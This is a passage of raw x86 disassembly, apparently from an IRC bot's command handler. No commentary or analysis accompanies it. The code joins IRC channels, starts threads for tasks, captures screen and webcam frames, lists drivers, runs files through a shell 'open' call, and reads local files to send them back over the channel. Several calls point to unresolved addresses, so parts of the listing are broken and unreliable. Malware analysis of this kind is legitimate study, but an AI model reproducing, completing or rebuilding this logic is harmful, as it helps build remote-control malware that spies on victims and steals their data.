		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2094],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2218]
		push	ebx
		push	eax
		push	offset byte_4143CB
		push	ebx
		push	ebx
		call	near ptr 2670603h
		nop
		mov	ecx, [ebp+var_2094]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40884B


loc_408839:				; CODE XREF: sub_401ACD+6D7Cj
		cmp	[ebp+var_2088],	ebx
		jnz	short loc_408866
		push	32h
		nop
		call	near ptr 267053Bh
		jmp	short loc_408839
; ---------------------------------------------------------------------------


loc_40884B:				; CODE XREF: sub_401ACD+6D6Aj
		nop
		call	near ptr 2670E77h
		push	eax
		push	offset unk_429E58


loc_408857:				; CODE XREF: sub_401ACD+6E89j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408866:				; CODE XREF: sub_401ACD+6D72j
					; sub_401ACD+6E6Dj
		cmp	[ebp+var_8], ebx
		jnz	loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_409628
; ---------------------------------------------------------------------------


loc_408886:				; CODE XREF: sub_401ACD+4A13j
					; sub_401ACD+4A2Aj
		push	7Fh
		lea	eax, [ebp+var_23A8]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2328]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_22A8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2224],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2220],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_23AC],	esi
		push	offset dword_429E2C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2228],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23AC]
		push	ebx
		push	eax
		push	offset byte_413B77
		push	ebx
		push	ebx
		nop
		call	near ptr 2670603h
		mov	ecx, [ebp+var_2228]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40894A


loc_408934:				; CODE XREF: sub_401ACD+6E7Bj
		cmp	[ebp+var_221C],	ebx
		jnz	loc_408866
		push	32h
		call	near ptr 267053Bh
		nop
		jmp	short loc_408934
; ---------------------------------------------------------------------------


loc_40894A:				; CODE XREF: sub_401ACD+6E65j
		call	near ptr 2670E77h
		nop
		push	eax
		push	offset dword_429DF0
		jmp	loc_408857
; ---------------------------------------------------------------------------


loc_40895B:				; CODE XREF: sub_401ACD+49E5j
					; sub_401ACD+49FCj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429DE8
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 10h


loc_408978:				; CODE XREF: sub_401ACD+6F16j
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854


loc_408994:				; CODE XREF: sub_401ACD+7A55j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DE0
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A2C
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4089BF:				; CODE XREF: sub_401ACD+49B7j
					; sub_401ACD+49CEj
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_429DD4
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		jmp	short loc_408978
; ---------------------------------------------------------------------------


loc_4089E5:				; CODE XREF: sub_401ACD+4989j
					; sub_401ACD+49A0j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B48C
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		add	esp, 10h
		test	eax, eax
		jle	loc_409854
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DE0
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_429DB8


loc_408A4B:				; CODE XREF: sub_401ACD+7009j
					; sub_401ACD+7078j ...
		call	sub_415220
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_408A55:				; CODE XREF: sub_401ACD+495Bj
					; sub_401ACD+4972j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408A84
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429DB0
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408A84:				; CODE XREF: sub_401ACD+6FA0j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DE0
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_429D94
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408ADB:				; CODE XREF: sub_401ACD+492Dj
					; sub_401ACD+4944j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	esi
		push	offset dword_429DE0
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_429D78
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408B4A:				; CODE XREF: sub_401ACD+48FFj
					; sub_401ACD+4916j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset unk_429D50
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_408B86:				; CODE XREF: sub_401ACD+48D1j
					; sub_401ACD+48E8j
		push	[ebp+var_8C]
		push	offset dword_42C964
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		push	edi
		push	offset dword_429D44
		push	[ebp+arg_4]
		call	sub_409A2C
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		nop
		call	near ptr 267053Bh
		push	[ebp+esi+var_84]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_429D30
		call	sub_4151AC
		jmp	loc_40351F
; ---------------------------------------------------------------------------


loc_408BEA:				; CODE XREF: sub_401ACD+48A3j
					; sub_401ACD+48BAj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A464
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429D14
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408C57:				; CODE XREF: sub_401ACD+4875j
					; sub_401ACD+488Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429CF4
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408CAC:				; CODE XREF: sub_401ACD+4847j
					; sub_401ACD+485Ej
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		push	eax
		push	[ebp+arg_10]
		call	sub_4150B4
		pop	ecx
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429CD4


loc_408CDB:				; CODE XREF: sub_401ACD+5852j
					; sub_401ACD+7B2Aj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40960F
; ---------------------------------------------------------------------------


loc_408CEF:				; CODE XREF: sub_401ACD+4819j
					; sub_401ACD+4830j
		push	edi
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4184E1
		jmp	loc_4040FC
; ---------------------------------------------------------------------------


loc_408D09:				; CODE XREF: sub_401ACD+47DBj
					; sub_401ACD+47F0j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409854
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408DB1
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408D99
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429F28
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429CAC
		push	eax
		call	sub_41B886
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_408D99:				; CODE XREF: sub_401ACD+726Fj
		lea	eax, [ebp+var_2C4]
		push	offset unk_429C7C
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_408DB1:				; CODE XREF: sub_401ACD+725Aj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset dword_429C60
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_408DFD:				; CODE XREF: sub_401ACD+47B1j
					; sub_401ACD+47C6j
		push	offset aScreen	; "screen"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408E58
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		jz	short loc_408E45
		push	edi
		call	sub_4153BC
		cmp	eax, 1
		pop	ecx
		jnz	short loc_408E3E
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429C2C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408E58
; ---------------------------------------------------------------------------


loc_408E3E:				; CODE XREF: sub_401ACD+7358j
		push	offset unk_429BFC
		jmp	short loc_408E4A
; ---------------------------------------------------------------------------


loc_408E45:				; CODE XREF: sub_401ACD+734Cj
		push	offset unk_429BC0


loc_408E4A:				; CODE XREF: sub_401ACD+7376j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408E58:				; CODE XREF: sub_401ACD+7341j
					; sub_401ACD+736Fj
		push	offset aDrivers	; "drivers"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408EE5
		xor	edi, edi


loc_408E6D:				; CODE XREF: sub_401ACD+7403j
		lea	eax, [ebp+var_53F8]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	0FFh
		push	eax
		push	edi
		call	dword_4CAFD4
		test	eax, eax
		jz	short loc_408ECC
		lea	eax, [ebp+var_53F8]
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	eax
		push	edi
		lea	eax, [ebp+var_5D88]
		push	offset unk_429B90
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_5D88]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h


loc_408ECC:				; CODE XREF: sub_401ACD+73C1j
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_408E6D
		lea	eax, [ebp+var_2C4]
		push	offset unk_429B68
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408EE5:				; CODE XREF: sub_401ACD+739Cj
		push	offset aFrame	; "frame"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408F86
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_408F73
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_408F73
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_408F73
		mov	eax, [ebp+esi+var_7C]
		cmp	eax, ebx
		jz	short loc_408F73
		push	eax
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_4155F7
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408F6C
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset unk_429B34
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408F86
; ---------------------------------------------------------------------------


loc_408F6C:				; CODE XREF: sub_401ACD+7480j
		push	offset unk_429B00
		jmp	short loc_408F78
; ---------------------------------------------------------------------------


loc_408F73:				; CODE XREF: sub_401ACD+7436j
					; sub_401ACD+743Fj ...
		push	offset unk_429AC8


loc_408F78:				; CODE XREF: sub_401ACD+74A4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408F86:				; CODE XREF: sub_401ACD+7429j
					; sub_401ACD+749Dj
		push	offset aVideo	; "video"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408759
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40901E
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		jz	short loc_40901E
		mov	esi, [ebp+esi+var_78]
		cmp	esi, ebx
		jz	short loc_40901E
		push	esi
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_1C]
		call	sub_4157F0
		add	esp, 14h
		test	eax, eax
		jnz	short loc_409014
		push	[ebp+arg_1C]
		push	offset unk_429A94
		jmp	loc_40874A
; ---------------------------------------------------------------------------


loc_409014:				; CODE XREF: sub_401ACD+7538j
		push	offset unk_429A54
		jmp	loc_4090E2
; ---------------------------------------------------------------------------


loc_40901E:				; CODE XREF: sub_401ACD+74DCj
					; sub_401ACD+74EAj ...
		push	offset unk_429A14
		jmp	loc_4090E2
; ---------------------------------------------------------------------------


loc_409028:				; CODE XREF: sub_401ACD+4041j
					; sub_401ACD+4056j
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_409098
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch


loc_409053:				; CODE XREF: sub_401ACD+75B5j
		test	eax, eax
		jz	short loc_409084
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 20h
		jmp	short loc_409053
; ---------------------------------------------------------------------------


loc_409084:				; CODE XREF: sub_401ACD+7588j
		push	edi
		call	sub_41B05B
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_4299F0
		jmp	loc_409226
; ---------------------------------------------------------------------------


loc_409098:				; CODE XREF: sub_401ACD+756Ej
		push	[ebp+arg_10]
		push	offset unk_4299CC
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4090A5:				; CODE XREF: sub_401ACD+4017j
					; sub_401ACD+402Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	offset asc_4299C8 ; "\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_419A50
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4090F5
		push	offset unk_42999C


loc_4090E2:				; CODE XREF: sub_401ACD+754Cj
					; sub_401ACD+7556j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_408759
; ---------------------------------------------------------------------------


loc_4090F5:				; CODE XREF: sub_401ACD+760Ej
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429984
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_40910F:				; CODE XREF: sub_401ACD+3FEDj
					; sub_401ACD+4002j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		call	sub_418211
		test	eax, eax
		pop	ecx
		jnz	short loc_40913F
		push	offset unk_429964
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------


loc_40913F:				; CODE XREF: sub_401ACD+7669j
		push	offset dword_429948
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------


loc_409146:				; CODE XREF: sub_401ACD+3FC3j
					; sub_401ACD+3FD8j
		push	7Fh
		lea	eax, [ebp+var_2080]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_409177
		push	7Fh
		lea	eax, [ebp+var_2000]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_409177:				; CODE XREF: sub_401ACD+7696j
		push	7Fh
		lea	eax, [ebp+var_1F80]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2084],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_1EFC],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EF8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429930
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_1F00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2084]
		push	ebx
		push	eax
		push	offset sub_41ADB5
		push	ebx
		push	ebx
		nop
		call	near ptr 2670603h
		mov	ecx, [ebp+var_1F00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40921A


loc_409204:				; CODE XREF: sub_401ACD+774Bj
		cmp	[ebp+var_1EF4],	ebx
		jnz	loc_406CFF
		push	32h
		nop
		call	near ptr 267053Bh
		jmp	short loc_409204
; ---------------------------------------------------------------------------


loc_40921A:				; CODE XREF: sub_401ACD+7735j
		nop
		call	near ptr 2670E77h
		push	eax
		push	offset unk_4298F0


loc_409226:				; CODE XREF: sub_401ACD+29CEj
					; sub_401ACD+75C6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_406CFF
; ---------------------------------------------------------------------------


loc_40923A:				; CODE XREF: sub_401ACD+3F99j
					; sub_401ACD+3FAEj
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_10]
		call	sub_40F96A
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset dword_4298D8
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_40925C:				; CODE XREF: sub_401ACD+3F6Fj
					; sub_401ACD+3F84j
		push	14h
		lea	eax, [ebp+var_1D48]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1D34]
		push	[ebp+arg_10]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D50],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C30]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BA8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA4],	eax
		lea	eax, [ebp+var_1C30]
		push	eax
		lea	eax, [ebp+var_1D34]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_4298B4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_1BAC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D50]
		push	ebx
		push	eax
		push	offset loc_415E1A
		push	ebx
		push	ebx
		nop
		call	near ptr 2670603h
		mov	ecx, [ebp+var_1BAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	loc_4023E6


loc_409325:				; CODE XREF: sub_401ACD+786Cj
		cmp	[ebp+var_1BA0],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 267053Bh
		jmp	short loc_409325
; ---------------------------------------------------------------------------


loc_40933B:				; CODE XREF: sub_401ACD+3F45j
					; sub_401ACD+3F5Aj
		push	[ebp+arg_10]
		nop
		call	near ptr 26707B6h
		test	eax, eax
		jz	short loc_409366
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset dword_429898
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_409444
; ---------------------------------------------------------------------------


loc_409366:				; CODE XREF: sub_401ACD+7879j
		push	offset dword_42A0A0
		call	sub_41814C
		pop	ecx
		push	eax
		jmp	loc_403F47
; ---------------------------------------------------------------------------


loc_409377:				; CODE XREF: sub_401ACD+3F1Bj
					; sub_401ACD+3F30j
		push	[ebp+arg_10]
		call	sub_41B779
		push	eax
		call	sub_4199C9
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	[ebp+arg_10]
		cmp	eax, esi
		jnz	short loc_409398
		push	offset unk_429874
		jmp	short loc_40939D
; ---------------------------------------------------------------------------


loc_409398:				; CODE XREF: sub_401ACD+78C2j
		push	offset unk_429844


loc_40939D:				; CODE XREF: sub_401ACD+78C9j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406D02
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_406D02
; ---------------------------------------------------------------------------


loc_4093D6:				; CODE XREF: sub_401ACD+3EF1j
					; sub_401ACD+3F06j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_4196BC
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_4093FC
		push	offset unk_429824
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4093FC:				; CODE XREF: sub_401ACD+7923j
		push	offset unk_4297F4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_409406:				; CODE XREF: sub_401ACD+3EC7j
					; sub_401ACD+3EDCj
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_4CAFE4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_40944C
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CAF5C
		cmp	eax, ebx
		jz	short loc_409467
		push	dword ptr [eax]


loc_409432:				; CODE XREF: sub_401ACD+7998j
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset unk_4297D4
		push	eax
		call	sub_41B886


loc_409444:				; CODE XREF: sub_401ACD+7894j
		add	esp, 10h
		jmp	loc_406CDE
; ---------------------------------------------------------------------------


loc_40944C:				; CODE XREF: sub_401ACD+794Cj
		push	esi
		call	dword_4CB028
		cmp	eax, ebx
		jz	short loc_409467
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CB030
		push	eax
		jmp	short loc_409432
; ---------------------------------------------------------------------------


loc_409467:				; CODE XREF: sub_401ACD+7961j
					; sub_401ACD+7988j
		push	offset unk_4297AC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_409471:				; CODE XREF: sub_401ACD+3E9Dj
					; sub_401ACD+3EB2j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_41B5F0
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429784
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_40948E:				; CODE XREF: sub_401ACD+3E73j
					; sub_401ACD+3E88j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CAF10
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_4094B2
		push	offset unk_429764
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4094B2:				; CODE XREF: sub_401ACD+79D9j
		push	offset unk_429740
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4094BC:				; CODE XREF: sub_401ACD+3E49j
					; sub_401ACD+3E5Ej
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_429094, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_429718
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_4094D5:				; CODE XREF: sub_401ACD+3E1Fj
					; sub_401ACD+3E34j
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B48C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_408994
; ---------------------------------------------------------------------------


loc_409527:				; CODE XREF: sub_401ACD+3DF5j
					; sub_401ACD+3E0Aj
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_401E94
		push	esi
		call	sub_41B779
